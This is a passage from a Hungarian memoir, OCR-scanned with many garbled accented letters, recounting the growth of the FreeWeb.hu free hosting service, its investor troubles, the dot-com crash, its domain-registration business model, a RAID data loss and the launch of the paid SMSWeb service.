volt a manualis felhasznald torlés, de erre nem igazan volt akkoriban idém a rendes munkahelyem
mellett. Ekkor sziiletett az a korlatozds, mely a mai napig életben van: a regisztracid csak
Magyarorszagrol lehetséges.

A probléma ezzel egy kicsit ki lett tolva idOben, de az elkeriilhetetlent nem lehet elkeriilni, azaz a
felhasznalok szama folyamatosan novekedett, a latogatottsag folyamatosan ndvekedett és természetesen a
szerver terheltsége is kezdte tartosan felvenni azt az allapotot, amit egykor a StarWars 1. része okozott
neki. Mivel pénz természetesen tovabbra sem volt beldle, valami méas megoldas utan kellett nézni.

Mondjak, hogy a baj nem jar egyediil, a rendszert idaig fejlesztd srac bejelentette, hogy a tovabbiakban ez
nem fog menni barati alapokon és ha szeretném, hogy tovdbbra is dolgozzon ezen a probléman, szerezzek
neki egy notebookot.

Két legyet egy csapasra alapon elkezdtem telefondlgatni és e-mailt irogatni szamitastechnikai cégeknek,
hogy milyen szépek és nagyok vagyunk és ez neki milyen szép €s jo lesz, ha ad nekiink egy szervert és
egy notebookot.

A kiildetés elég reménytelennek tiint, de a legnagyobb meglepetésemre aranylag hamar taldltam egy
olyan céget, akivel (illetve annak utodjaval) a mai napig kivald a kapcsolatunk mind iizleti, mind emberi
tekintetben. (Azaz tényleg sz€p és jo lett neki)

Az 1y gép egy 550 MHz-es Pentium Ill-as 1 Gbyte memoriaval €s 36 Gbyte-nyi Ultra SCSI lemezzel. Ez
a gép egy fantasztikus eldrelépés volt a szolgaltatds mindségét illetden. Az eddigi 130 - 150-es ,,load”
terheltségi érték stabilan 1 ald csokkent. Cserébe a cég logojat elhelyeztiik az Gsszes ingyenes oldalon a
reklamcsik kozepén.



Befekteto a lathataron

Egy teljesen atlagos hétkdznapon a munkahelyemen iilve olvasgattam az e-mailjeimet és egy pillanatra
fennakadt a szemem egy levélen. El8szor kéretlen reklam levélnek véltem (bar akkor ez a fajta szemetelés
még nem volt olyan nagy divat) aztan ra kellett dobbenjek, hogy a levelet tényleg nekem cimezték.

A levelet egy kedves holgy irta, aki egy németorszagi befektetd cég képviseletében keresett, miszerint
szeretnének pénzzel beszallni a vallalkozdsba. Mondanom sem kell, hogy meglepddtem, hogy egy nagy
nemzetkozi befektetd cég szeretne nekem pénzt adni.

A targyalasok meg is kezdddtek és latszolag minden rendben is zajlott. Pozicionkat az is erdsitette, hogy
1dokozben az extra.hu-t is megeldzve a legnézettebb ingyenes tarhely szolgaltatova valt a w3.swi.hu. A
targyalasok végeredménye a jelenleg is 1étez6 SWI Kommunikacioés Kft megalakitasa lett 50% német, és
25-25% magyar tulajdonnal, ahol a masik tulajdonos a programozo6 lett. A cég alaptékéje 6MFt, melybdl
3 MFt pénzbeli részt a befektetd, a maradékot pedig apport formajaban mi tettiik a cégbe. Mivel az akkori
szolgéaltatas értékét a német fél 6 MFt-ra értékelte, tovabbi 3 MFt-ot utaltak 4t a cég szamldjara mint tagi
kolcson, mivel ez a megoldds a leggyorsabb. Mindezen feliil igéretet kaptunk, hogy amennyiben
sziikséges, 50-70 MFt-ot barmikor betesznek a cégbe, nem probléma.

Nagy lelkesedéssel kezdtem bele 1j emberek utan nézni, hogy 0sszejdjjon egy iitdképes kis csapat, akivel
hatékonyan lehet tovabb fejleszteni a meglévo rendszert illetve ujakat késziteni. Csakhamar taldltam is
két megfeleldnek tlind programozat illetve a kordbban is mar sokat segitd rendszergazda lett a kezdd 5 f6s
csapat tagja. Miutan az emberek megvoltak, valami irodaféleség utan kellett nézni. A valasztas sordn a
két f6 szempont az ar illetve a Victor Hugo utcai szerverteremhez val6 kozelség volt. Csakhamar ki is
néztem egy megfelelének tiinG lakéast a Kresz Géza utcaban. HozzavetSleg 80m” alapteriiletii elsé emeleti
bérlakas, amiért havonta 80 000 Ft-ot kért a tulajdonos.



Az elso iroda — kéretlen lakotarsak

A cég induldsdhoz lassan minden feltétel adott volt, elérkezettnek lattam az iddt, hogy a cég frissen
szerzett iroddjat megmutassam a leendd alkalmazottaknak. Taldlkoz6 a pdlyaudvaron, majd kocsival a
helyszinre. Kicsit mar sotétedett, igy a lakasba belépve fel kellett kapcsolni a villanyt ahhoz, hogy valamit
lassunk. A villany felkapcsolasat kovetden furcsa neszre lettiink figyelmesek, mint ha valaki, vagy valami
lenne a lakasban. Sokaig nem is kellett keresni, mivel szinte barhova nyultunk, onnan csétanyok
vagtaztak szanaszét. A lakasban tobb ezer csotany lehetett. Elképesztd volt, ahogy szdnyegszeriien
vonulnak minden irdnyba eldliink. Sajnos amikor a tulajdonosok megmutattdk a lakast és a bérlés mellett
dontottem, valahova el lettek bujtatva ezen kis allatkak, de most eldjottek €s komoly meglepetést okoztak
nekiink.

Masnap fejenként két doboz csotanyirtd dezodorral felfegyverkezve a legbelsé szobabdl indulva
hatraltunk kifele a lakasbol, mikdzben mindent befujtunk. Ezt kdvetden nagy hirtelenséggel tadvoztunk és
a csotanyokra zartuk a lakés ajtajat. A kovetkezd napon mar csak kisebb, helyi tisztogatast végeztiink
illetve stabil csapdakat helyeztiink el itt-ott, miutan persze 0sszesoportiik a tetemeket.

A korabbiakbdl tanulva a lakas Gsszes butorzatat, szOnyegeket, stb. egy kis szobdba 0sszpontositottuk és
az az iddk végezetéig (legaldbbis amig mi ott voltunk) ott is maradtak.
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56kbit-es bérelt vonal

Mivel a munkat eddig mindenki otthonrdl a sajat szamitogépével, sajat internet kapcsolataval végezte,
meg kellett teremteni az iroddban a munkavégzés feltételeit is. Kellett irdasztal, szék, szamitogép
mindenkinek és természetesen internet kapcsolat. Ezek koziil kizardlag az utolsé okozott némileg fejfajast
nekiink, mert a haz eldtt ugyan ott logott a kabel, amin a kébelTV szolgéltatd cég az internetet
szolgaltatni, 4m a hazba még nem hozta be. Igéret természetesen volt, hogy nemsokéra, persze,
természetesen, mi viszont dolgozni szerettiink volna. A bérelt vonali internet az ara miatt eleve kiesett, a
telefonos betarcsazés modszer percdijai pedig nappal nem igazan kedvezdek. Szerencsére mégis
megtalaltuk a kiskaput. A telefon szolgaltatd cégnek volt egy ,.kedvenc net szdm” nevill szolgaltatasa,
melyr6l 6k maguk se nagyon tudtak, mivel ahanyszor hivtam az ligyfélszolgalatot, annyiszor kellett nekik
elmagyardzni, hogy mi is ez tulajdonképpen. A szolgaltatds 9000 Ft-os alapdijaért cserébe egy
meghatérozott helyi hivasra 90% kedvezményt biztositottak. Igy lett az irodanak eléfizetési és minden
egy¢b jarulékos dijjal egyiitt 35-40 000 Ft-ért S6kbites ,,bérelt vonala”. Ezen elérés szétosztasardl egy
kiilon router és tiizfal gép gondoskodott, ami allt 1db vastag szivacsbol, amire az alaplapot tettiik, mellette
egy tapegység, aminek a hiitdventillaitora mar nem igazdn szuperalt és benne egy videokartya és egy
kabelen cslingd winchester. Eme tekintélyes savszélességnek és az 6t parhuzamos felhasznalojanak
persze meglett a kovetkezménye: ,,mit csinaltok?!?! gépelni sem tudok a szerveren!” Egyszoval élvezet
volt ezen a gigaszi savszélességen dolgozni.

A w3.swi.hu els0 arculatardl irdsos emlékek sajnos nem maradtak fent, de nem is volt hosszu életii, mivel
a meniiszerkezete nem volt bévithetd, igy azt hamar kindttiik. Az els6 komolyabb arculat imméron az 1j
SWI logoval valahogy igy nézett ki:

| |
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|

Firum 2.0 dfdonsdgok:

A w3.swi.hu arculata 2000-ben



Igéretek vannak, pénz az nincs — kolcsonok.

A cég internetes pozicidja folyamatosan erdsodott, a nézettségi adatok emelkedtek, a pénz pedig fogyott.
Lassan kezdett korvonalazodni a befektetd beengedésérdl sz6l6 dontésem helytelensége. Az 50-50%-o0s
tulajdoni elosztas garantalta a tartos patthelyzetet, a beigért pénzekre pedig teljesen hidba palyaztunk. A
cég bevétele és havi koltségei még mindig nem voltak aranyban, igy a megfeleld koriilmények biztositasa
helyett minden fejlesztdi eréforrds arra ment el, hogy az aktudlis szerverekbdl a lehetd legtobbet
kihozzuk. Folyamatosan ment a barkéacsoléds, hogyan tudunk még egy kis szerver kapacitast 1étrehozni.
Volt olyan eset, amikor par gépalkatrésszel felfegyverkezve elldtogattunk a szolgaltatonkhoz azzal a
szandékkal, hogy a 3 szerveriinkbdl (asztali PC) és abbdl a marék alkatrészbdl 4 gépet csindljunk. Mivel a
szolgaltatd ebben az iddben kb egy vitrinbdl 4ll6 ,,szerverteremmel” és egy szerelésre szolgald asztallal
rendelkezett, kozolte veliink, hogy ezt ott nem csinalhatjuk meg. Ok, semmi gond, kimentiink a folyosora
¢s ott a kovon kibeleztiikk mind a 3 gépet. Az emelet igy nézett ki, mint egy kirakodovasar. Tobb gigabyte
memoria (jopar 128-as, 256-os és 1-2 512-es modul) tobb 100 gigabyte winchester, egy marék
processzor, alaplapok, kabel rengeteg és minden, ami egy ilyen szereléshez kell.

Ezalatt az id6 viszont nem tudtunk olyan feladatokra koncentralni, melyekbdl esetleg bevétel lehetett
volna. Amolyan 22-es csapddja. A nagyon sokadig probalkozasunk utan, amikor mar végképp a
szolgaltatasok mukodése volt a tét, sikeriilt meggydzni a befektetoket, hogy kell egy erésebb szerver.
Megragadva az alkalmat, hogy végre valamit sikertiilt elérni, egy igazén erds és jo konfiguraciot rakattunk
Ossze. Az igényeink olyan szinten szamitottak ritkasagnak, hogy az importér amikor megérkeztek hozza a
szerverbe szant memoria modulok, megkérte a szervert Osszeszereld céget, hogy had nézze meg, mert
még nem latott olyat. Akkoriban a Kingston Registered ECC 133Mhz-es 1GByte-os modul még
arlistdkban sem szerepelt sehol. Darabja 350 000 Ft volt és ilyenbdl keriilt 4db a gépbe, amibe lakott még
egy Compaq Smart array 5300-as RAID vezérlo, Sdb Ultra2-es 36Gbyte-os SCSI disk, 2db 933 MHz-es
Pentium III-as processzor és egy Intel STL2-es szerver alaplap. A teljes gép ara megkdzelitette a 4 MFt-
ot, melyet természetesen mint kolcsont kapott meg a cég. A szervert mint karacsonyi ajandékot a
kisgyerekek alltuk korbe és nézegettiik. Bekapcsolaskor egy Boeing turbindja is csupan kis szell6zének
tlint, olyan iszonyat erejli ventillatorok voltak a gépben, egyszoval ott olvadozott koriildtte mindenki.
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Névvaltas

Miutan a szerver problémaink megoldodtak, nekilattunk a latszatintézkedéseknek és megprobaltuk a
céget legalabb kifele profinak mutatni. Ennek a nagy atalakitdsnak volt az egyik lépcsdje a w3.swi.hu és a
www.swi.hu latvanyos kiilonvalasztasa. Sokan ugyanis a 18+ tartalmakkal azonositottdk az swi nevet,
noha az ingyenes porno fénykoraban sem volt meghataroz6 mennyiségben a szerveren, viszont tény, hogy
az ilyen tipusu oldalak nézettsége nagyobb volt, mint egy baba-mama kategérids lapnak. Az ingyenes
részhez 2000 marciusi domain liberaliz4cio soran sikeriilt megszerezni a freeweb.hu domain nevet, igy
mar csak a kereskedelmi szolgaltatashoz kellett valami markanevet kitalalni. Hosszas névparbaj utan a
true.hu keriilt ki nyertesen. A névvaltas a kereskedelmi szolgaltatdsoknal csupan egy design cserét
jelentett, az ingyenes oldalaknal viszont egy teljesen 11j rendszer elinditasat.

Emlékeim szerint az orszagban elsoként vezettik be azt a Ilehetdséget, hogy a megszokott
szolgaltatonév/oldalnév formacié mellett a weblap az oldalnév.szolgéltatonév formaban is elérhetd
legyen. Ezzel, és az 0j szerverrel, ij domain névvel ismét egy nagyon Iéptiink elore a nézettségi adatok
tekintetében. Természetesen az 1j névhez ) arculat is tartozott:

SEOPYMGET 2000 ANARTI

A freeweb 1j arculata (talan ezt hasznaltuk a legtovabb)



Vilagszinti gazdasagi valsag, az internet lufi kipukkad

Mikdzben a fizetds webtarhelyekbdl, tdvoktatasi bevételekbol, idészakosan be-bepottyano fejlesztési és
reklam megrendelésekbdl nagyjdbdl nullszaldos volt a cég (persze fejlesztésekrdl nem is mertiink
almodni) a nagyvilagban igen komoly valtozasok zajlottak le. A 90-es évek végén a hagyomanyos iizleti
modelleket teljesen figyelmen kiviil hagyva gigaszi pénzeket fektettek be internetes vallalkozasokba
vilagszerte. 2000-2001 koriil viszont ez az internetes lufi kidurrant. A cégek egyik naprél a masikra
vesztették el minden vagyonukat, a részvények elértéktelenedtek és mindennapos hir lett, ha egy komoly,
neves cég becsodolt.

Ekkor még ugyan nem tudtuk, mert eldttiink ezt az informacidt titokban tartottdk, de a mi németorszagi
befektetdnk is erre a sorsra jutott.



Egy uj pénziigyi modell megmenti a freewebet

Az eltelt két év alatt sok mindent teljes mértékben at kellett értékeljek. Sajnos lapletoltéssel, bannerrel,
egyedi latogatdszammal nem lehet a sarki kozértben fizetni, de még mashol se nagyon. Az az {izleti
modell pedig, miszerint a reklamfeliiletek értékesitésébdl befolyd pénzbdl leszek gazdag, szintén
megbukott, amit méas sem bizonyit jobban, mint a fenti tény, hogy a legtobb olyan cég becsddolt, akik erre
épitettek.

Adott volt napi tobb tizezer egyedi latogatd akik a szintén tobb tizezer regisztralt felhasznald altal
készitett weblapokon napjaban tobb szdzezer oldalt néznek meg. Ezek koziil az a par hozott szdmunkra
bevételt, aki az elhelyezett reklamjaink alapjan tavoktatidst vagy webtarhelyet rendeltek t6liink. Ez
azonban apropénz volt ahhoz képest, amekkora potencial ebben a rendszerben volt.

Ki kellett taldlni valami olyan szolgaltatdst, terméket vagy akarmit, amit ardnyaiban tobben fognak
megvenni ¢€s folyamatosan biztositjak a magas bevételt. Sok vesztenivaldm mar nem volt, mivel az swi is
a cs0d sz€lén volt anyagilag, igy dupla vagy semmi jatékba kezdtem. A jatékhoz kellett 800 000 Ft melyet
a befektetd magyarorszagi lednyvallalatatol tudtam rovid lejarati kolcson formajaban megszerezni. Ez az
Osszeg a domain regisztratori franchise dijra (500 000 + 200 000 Ft) valamint egy masodlagos
névszerverre kellett.

Az 0j modell egy atmenet 1étrehozasa volt az ingyenes €s a fizetOs tarhelyek kozott. A kereskedelmi
webtarhely szolgaltatoknal egy atlagos csomag havonta 3-5000 Ft-ba keriilt egy ligyfélnek. Ezenfeliil
egyszeri kozel 10 000 Ft volt a .hu végzodésii domain nevek regisztracioja és a legtobb helyen tovabbi
havi 2000 Ft ezek fenntartasa. Ez 6sszeszamolva elég jelentds koltség ahhoz, hogy ne vegyék tomegesen
igénybe a maganszemélyek vagy kis cégek. Az ingyenes szolgaltatdsok hasznalata pedig nem hat épitden
egy induld vallalkozas megitélésekor. A cél egy olyan koztes szolgaltatas 1étrehozasa volt, ami latszatra
olyan, mint egy kereskedelmi tarhely szolgaltatas, mégis olcso.

A megoldas elég kézenfekvd volt. A freeweben a reklam feliiletet amigy sem tudjuk eladni hirdetéknek,
eladjuk hat az oldal tulajdonosénak. Azaz nem a feliiletet, hanem annak hidnyat. Ez a gyakorlatban annyit
jelentett, hogy a reklam keret méretét 0 képpont magassagura csokkentettiik megfeleld dij ellenében.
Ezzel parhuzamosan a piaci ar alatt biztositottunk domain regisztraciot is a felhasznaloknak, amihez a
névszervereket is ingyen biztositottuk. A végeredmény egy domainnév.hu cimen elérhetd weboldal,
melynek tetején nem lathatd az ingyenes szolgaltatdsokra jellemzd reklam. Cserébe a felhasznalo a
reklammentességért fizetett évente kdzel 5000 Ft-ot, a domain regisztracidért (ha reklammentességet is
kért, és ez volt a gyakoribb) 6 200 Ft-ot, majd a 2. év utdn évente 2 000 Ft fenntartasi dijat. Ezzel havi
szintre lebontva 500 és 1 000 Ft kozotti koltsége volt az oldal tulajdonosanak, ami toredéke a
kereskedelmi webtarhely szolgaltatasok aranak.

A kedvezd ar mellé egy igen jelentds rekldm kampanyt is készitettiink, valamint az 0sszes internetes
ujsagnak elkiildtiik a hirt, amit sokan le is kozdltek. Az eredmény nem véaratott magéara sokat. Olyan
szinten nem, hogy a kolcsonkért 800 000 Ft-ot egy hoénapon beliil vissza tudtuk fizetni és végre
nyereséget tudtunk termelni.



Domainregisztracié a FreeWeb.hu-n

Az egyik hazai ingyenes tarhelyszolgaltatot, a FreeWeb.hu-t iizemelteté SWI Kommunikacios Kft.
2001. jonius 6-an megkezdi domainregisztracios tevékenységét. Ettdl kezdve FreeWeb.hu
felhasznaloik szamara is lehet6vé valik a sajat domain név regisztralasa.

Az SWI altal bevezetett 1) szolgéltatds tovabbi elénye az automatizalt webes Urlapkitoltd rendszer,
amellyel barki percek alatt végezhet a domainigényld lap kitdltésével. Ebbol rogton nyomtathatd
valtozat késziil, igy a megrendeldnek mar csak tovabbitania kell azt az SWI részére. A szolgaltatdsnak
koszonhetden barki szdmara elérhetové valik a sajat domainnéven futé weblap és természetesen a
hozza tartoz6 e-mail cim hasznélata is.

A domain (.hu) regisztracids dija FreeWeb.hu felhasznalok részére az els6 regisztracié esetén 6.900 Ft
+ afa, minden tovabbi regisztracio koltsége 6.200 Ft + afa. A tarhely és a domainnév szerver ingyenes,
¢s koltségmentes a regisztracié ligyintézése is. Tovabbi informaciok a http://freeweb.hu weboldalon
talalhatok.




Az iizleti modelliink nem tetszik a szolgaltatonknak, szerver koltozés

Uj szolgaltatasunk nem kicsit kavarta fel az allovizet. Egyik pillanatrél a masikra megjelenik egy 0j
domain regisztrator cég, aki mar a megjelenésének honapjaban leeldzi az 6sszes nagy multtal rendelkezd
internet szolgaltatd céget és havi szinten mindenkinél tobb domain nevet jegyeztet be. Természetesen
nalunk a bevétel novekedés mashol sziikségszeriien bevétel csokkenést eredményezett. Ez szamszerlisitve
havi szinten milliés kiesést jelenthetett par cégnek, akik koziil az egyik, nevezetesen a mi internet
szolgaltatonk sem nézte j6 szemmel ténykedésiinket. Mar egy ideje targyalasokat folytattam a szolgaltatd
els6 emberével arrol, hogy kezdetek ota listadron vannak ott a gépeink és ideje lenne mar valami
kedvezményt adni nekiink, mint régi hiiséges ligyfél, akinek rdadasul mar nem is csak 1-2 gépe lakik a
szerverteremben. A regisztracidos ténykedésiink utdn megkeresett és nyomatékosan megkért, hogy
emeljem meg a regisztracids dijakat a piaci szintre (azaz az 6vékére), maskiilonben tesz egy kedvezdtlen
ajanlatot a szervereink hostolasara. fgy jobbnak lattuk a FreeWeb szervereit egy masik szolgaltatohoz
koltoztetni. Ennek eredményeképpen az addigi ar kozel feléért lizemeltek tovabb a gépek, a domain
regisztracios lizletben pedig kozel fél éven keresztiil tartottuk elsé helyezésiinket, de az azt kdvetd évek
soran se keriiltiink ki az elsé harombol.

A kitalalt iizleti modell a latszat ellenére nem az olcsd szolgaltatdsrol, hanem a késébbi magas
bevételekrol szolt. Amint azt mar tobbszor is kihasznaltuk, az internetezdk igen rovidtavon gondolkodnak
¢s igen ritkdn gondoljdk végig tetteik kovetkezményeit. Az egyszeri olcsé domain regisztracios dij
ugyanis nem mas, mint egy hosszu tavu befektetés. A regisztratoroknak ugyanis egy domain név
bejegyzése 2000 Ft-ba, a masodik év utdn a fenntartdsa pedig 1000 Ft-ba keriil. Ennek megfeleléen ha
egy domain nevet 6200 Ft-ért vesz meg valaki, azon van 4200 Ft arrés, mely fedezi a szdmlazasi és egyéb
koltségeinket és még marad is beldle. Mindaddig, amig van 0j domain regisztracio, van bevétel, van
nyereség. Ez azonban egy olyan pénz, amiért folyamatosan ,,tenni” kell valamit, folyamatosan reklamozni
kell a szolgaltatast, stb. Ezenfeliil egy bizonyos szint f6l¢ nem is lehet menni, mivel az internetezdk
szamanak novekedése adott, az Gjonnan alakuld cégek szama adott, tehat van egy elméleti maximum
érték, amit a havi bevételeink ilyen médon elérhetnek. Ezzel szemben a bejegyzett domain nevek 2. év
utan kezd6do fenntartasi dija egy olyan bevétel, amiért csupan szamldzni €s a pénzt behajtani kell. Ebbol
az utobbi a domain neveknél nem is nehéz, csupan fel kell mondani az aktudlis domain nevet, ha
hataridoére nem torténik meg a befizetés. Az ligyfél vagy befizeti, vagy koltség sem keletkezik. Mivel az
Uj domain regisztraciok szama mindig is sokkal magasabb volt a felmondasok szamanal, ez a bevétel egy
stabil, folyamatosan novekvd Osszeget jelent, ami a vilagpolitikatol és egyéb gazdasagi valsagoktol
fliggetleniil egy igen biztos bevételi forrast biztositott a cégnek. Erdekességképpen a FreeWeb eladasakor
kb. 9 000 db .hu domain mutatott a szerverre, melyeket természetesen az SWI regisztralt és tartott fent.
Mivel az éves dijat az ISZT csokkentette, de ezt a szolgaltatok altaldban nem adtik tovabb, igy 800 Ft
koltség mellé tarsult 2000 Ft bevétel. Ebbdl lejon kb. 200 Ft egyéb koltség, mint szamlakészités, postazas,
munkadij, stb. de még igy is marad domainenként 1 000 Ft tiszta haszon. Ez éves szinten 9 000 000 Ft
nyereséget jelent csak .hu domain fenntartasbol.



~ Domain regisztricié és minéségi webtdrhely egy helyen: http://www.swi.hu
Uj, végre normalis iroda

Koszonhetdéen az 1j lizleti modellnek, a cég kasszaja kezdett gyarapodni. Lassan az addsagainkat is
sikertilt csokkenteni és kezdett minden ugy miikddni, ahogy annak kell. Elérkezettnek lattuk az 1d6t, hogy
végre valami normalisabb iroddba koltozziink. Természetesen egy klasszikus értelembe vett ,,A”
kategorias irodahazrol sz6 sem lehetett, talaltunk viszont egy atalakitott raktarépiiletet, ahol egy kiilon kis
épiiletben csak mi voltunk. A helyet a mi igényeinknek megfeleléen alakitottak ki, volt szélessava
(kabelTV-s) internet meg minden. Ide koltozott 4t az 1dok soran kicsit atalakult csapat. A szervereket egy
Uj rendszergazda gondozta illetve kiboviiltiink egy uj kollegandvel, aki a recepcios, titkarndi, asszisztensi,
pénziigyes és még szamtalan poziciot toltdtt be egy személyben, rengeteg munkéatdl megszabaditva
minket.



/a4

Tarhely bovités adatvesztéssel

A cég annak rendje és mddja szerint folyamatosan novekedett, végre lehetett foglalkozni a munkaval, ha
tonkrement egy gép, nem az otthonibol kellett alkatrészt kivenni és azzal potolni. S6t, mar adatmentésiink
is volt minden szerverrdl, még az ingyenes oldalakrol is. Természetesen ezeket idokozonként boviteni,
atépiteni kellett, igy teljesen hétkdznapi miiveletnek indult az ingyenes tarhely mentésének cseréje is. A
régi szervert szétszedtiikk, a winchestereket az irodaba valahol letettiik és az 1j, nagyobb szervert
elhelyeztiik a szolgaltatd szervertermében. Par honappal késobb kritikussa valt a freeweb tarhely
foglaltsaga is, igy azt is boviteni kellett. A bdvités itt mar egy kicsit babrasabb volt, mivel a winchesterek
egy része a géptestben, egy része pedig egy kiilsé hazban volt. De semmi gond, a diskek RAIDS5-be
vannak 0sszeszervezve, igy az adatok biztonsdgban vannak, csak 1 disk hozzdadasa és mehet tovabb az
egész — gondoltuk mi. Ami elromolhat az persze el is romlik, ahogy azt murphy is megmondta. Az tomb
ujrastrukturalasa kozben ugyanis elszallt a kiilsd tomb tapegysége. Mint utébb kideriilt, épp sikertilt
hatarértéken terhelni azt a 8db scsi diskkel és ezt mar nem viselte el. A gond csak az volt, hogy ilyenkor
RAIDS ide vagy oda, az adatoknak annyi. A kartya egész éjszaka dolgozott azon, hogy helyreallitsa
azokat, de nem sikeriilt. A freeweb.hu nyitéoldalan a kordbban par orasra kiirt ledllast folyamatosan
hosszabbitottuk. Mésnap reggel, amikor kideriilt, hogy az adatokat nem sikeriilt visszaallitani, jott a
kovetkezd hidegzuhany. Nincs mentésiink. Az 10j szerverre ugyanis nem lett elinditva a mentés €s ezt
senki se vette észre. Panik indul... mit lehet ilyenkor tenni? Hosszas panikolas utan esziinkbe jutott a par
hoénappal kordbban szétszedett backup szerver, aminek a diskjei taldan még megvannak valahol.
Szerencsére minden disket megtalaltunk és még a tombét is dssze tudtuk beldle allitani, megmentve ezzel
minket a teljes bukastol. Igaz, utdna nem gydztiink magyarazkodni, hogy hova lett tobb honap munkdja,
hova tintek a feltoltott adatok, de legalabb nem iires szerverrel kellett indulni . Szerencse a
szerencsétlenségben, hogy a felhasznaléi adatokat az adatbézis szerver tarolta, igy azokat veszteség
nélkiil vissza lehetett allitani. De nézziik a dolog jo oldalat, lett egy nagy halom szabad helyiink a
szerveren.



Ismét egy olyan iizleti modell, ami még nem létezett

Koszonhetéen a domain regisztracié és reklammentességi szolgaltatdsok felfutdsanak, valamint egyéb
eseti bevételeknek, ismét volt idonk 1j szolgaltatdsokon gondolkodni. A modell tehat mitkoddképes, igy a
jovobeni szolgaltatasokat is ilyen irdnyban érdemes fejleszteni. 1998-2000 koriil €lte viragkorat a banner
alapu keress pénzt a neten Oriilet. Ez akar még ¢életképes is lehetett volna, ha lett volna elegendd hirdetd,
aki hajland6 ennyire heterogén és kontrolalhatatlan kornyezetben hirdetni. A rendszerek kezeldi ugyan
igyekeztek bekategorizdlni az egyes oldalakat, &m ez egy kicsit szélmalom harc volt. Ennek
eredményeként Magyarorszagon ez hamar megbukott. Az viszont mar ezen rovid id6 alatt is jol lathatod
volt, hogy a weblap készitdi nyitottak a pénzkeresésre (még sz€p). Namarmost ha az ilyen keress pénzt a
neten jatékok ennyi embert tudtak megmozgatni akkor egy freeweb valdszinilileg ennek sokszorosara
képes. Kell tehat valami, amit sok sok ember a sajat weblapjan arul, azt a még tobb latogatdé megveszi és
ebbdl nekiink jutalékunk keletkezik. A sok weboldal adott volt, a sok sok latogaté is, csupan két dolog
hianyzott: a termék / szolgéltatas, amit eladnak és a fizetési mdd, amit ilyen nagy tomegben hasznalni
lehet. A csekk és az utalas eleve kizart, mivel lassu és macerds, a bankkartya egyaltalan nem volt sem
elterjedt, sem pedig elfogadott fizetdeszkoz. Ezzel jobbara az 6sszes hagyomanyos fizetési mod kizarasra
keriilt. Volt viszont még egy lehetéség, amit akkor még csak kevesen ismertek fel, ami nem mas, mint az
emelt dijas SMS, illetve annak elddje, mivel akkor még csak a 76 Ft + Afa 6sszegii SMS volt hasznalatos
(illetve ez alattiak). A dijmegosztas valahol 50% koriil mozgott, igy egy SMS {izenetbdl lett volna 38Ft
bevétel, amibdl még tovabb kell osztani a felhasznalonak. Sajnos, vagy szerencsére a GSM szolgaltatd
olyan sokaig huzta a targyalasokat, hogy mire a végére érhettiink volna a kollega, akivel ott targyaltunk,
mas fontos beosztasba keriilt, igy kezdhettiink volna mindent el6lrél. Eddigre azonban megjelentek a
valodi emelt dijas SMS-ek és ezzel egy joval nagyobb 6sszegen (160 / 320Ft) lehetett osztozni a GSM
szolgaltatoval illetve a felhasznalokkal. Tanulva a GSM szolgéltatoval folytatott targyalasbol, inkabb egy
kozvetitd céggel szerzddtiink le, akivel ezt par nap alatt meg is tudtuk tenni igaz, igy a mi jutalékunk is
kevesebb lett, az sms dijanak kb. 30%-a. Az elsé probléma tehat megoldva, most johet a termék /
szolgaltatas kérdése, amit ezért az arért meg fog vasarolni a latogatd. Szerencsére semmi sem jutott az
eszembe, igy azt a gordiuszi megoldast valasztottuk, hogy ezt taldlja ki maga a felhasznal6é. Mi adunk
neki egy tarteriiletet, ahova majd O felteszi a maga kis szamlazo programjat, csaladi videojat, akarmit,
amit 4arulni kivan a neten és hogy az értékesités hatékonyabb legyen, ezt mi még reklammal is
megtamogatjuk.

2002.07.02-an a fentiek alapjan SMSWeb névre keresztelve el is indult az 0j szolgaltatds. Kezdetben
100Mbyte védett tarhelyet biztositottunk a felhasznaloknak, ahova anyagaikat elhelyezhették. Ezt a
tarhelyet minden megszerzett 10Ft utin SMbyte-al noveltiik. Regisztracidkor szabadon megvalaszthattak,
160Ft-os vagy 320Ft-os SMS-el, illetve hogy mennyi ideig férhetnek hozza a latogatdk az oldal
tartalmahoz. Mivel mind az infrastruktarat, mind a technologiat, reklamot, stb. mi biztositottunk, a
hozzank befoly6 pénz 25%-4t irtuk jova a felhasznaloknak, akik 5000 Ft felett fel is vehették pénziiket.

A rendszert aranylag hamar elkészitették a fejlesztok. Mivel egy kicsit pesszimistan alltam a dologhoz, 1j
szervert egyeldre nem allitottunk be, hanem a meglévé freewebes szerverre terheltiik ra ezt is.



Legnagyobb meglepetésiinkre az 10 szolgaltatas tetszett az embereknek és elkezdtek szaporodni az
SMSWeb oldalak, ezzel parhuzamosan a bevétel is novekedett. Elérkezettnek lattuk hat az id6t, hogy az
SMSWebet mint 6nallo szolgaltatast levalasszuk a freewebes szerverrdl és sajat gépet kapjon. Mivel az
egyidejii letdltések szama nem volt tobb mint 50-70, igy egy IDE winchesterekkel felszerelt egyszerii kis
szervert raktunk 6ssze aranylag kevés pénzbdl, mivel ugy gondoltuk, az egy jo ideig elég lesz neki. Hat,
nem igy alakult. A felhasznalok és a latogatok szdma olyan iitemben ndvekedett, hogy az 0j szerver kb.
masfél honap alatt elérte teljesitményének hatarat. Ennek kdszonhet6en a szolgaltatdas meglehetdsen
akadozott. A szolgaltatds egyetlen, &m igen komoly problémaja a fizetési hataridok hosszisaga volt. Egy
adott honap bevételét ugyanis két, de inkabb harom honap cstszassal kaptuk meg. Ez kiilonosen most lett
probléma, amikor a szerverek terheltsége mar igen jelentds, a harom honappal ezeldtti bevételek azonban
még a kisebb szerver koltségeit is alig fedezték. A cég ugyan folyamatosan ndvekedett, fejlodott, sikertilt
a csod sz¢€lérdl talpra éllnia, de az 0 szerverhez sziikséges szabad pénzeszkdzzel (ami millios Osszeg
feletti) még nem rendelkezett, mar csak azért sem, mert a freeweb szerver is elérte teljesitoképességei
hatarait és elsé korben azt kellett lecserélni.

A problémat tetdzte, hogy lassan megjelentek a konkurens szolgaltatasok is, igy megindult a licit verseny.
2002.12.13-t6] nekiink is emelniink kellett a biztositott tarhely méretét 1GByte-ra, valamint a kapcsolt
reklam mennyiséget is 100,000 megjelenésrdl 500,000-re ndveltiik. Ennek meg is lett a kovetkezménye, a
szerverek vordsen izzottak, a szolgéltatds mindsége alulmulta a tragikusnak nevezhetd szintet. Mivel az j
FreeWeb szerverre igencsak kikoltekeztiink, jott 2 honap vegetacid. Minden erdnkkel azon voltunk, hogy
ne legyen tobb 0j oldal, ne ndvekedjen a latogatok szama, mivel a meglevoket sem tudtuk mar megfeleld
mindségben kiszolgdlni és ennek hangot is adtak elég sokan. Sajnos ennek meg is lettek a
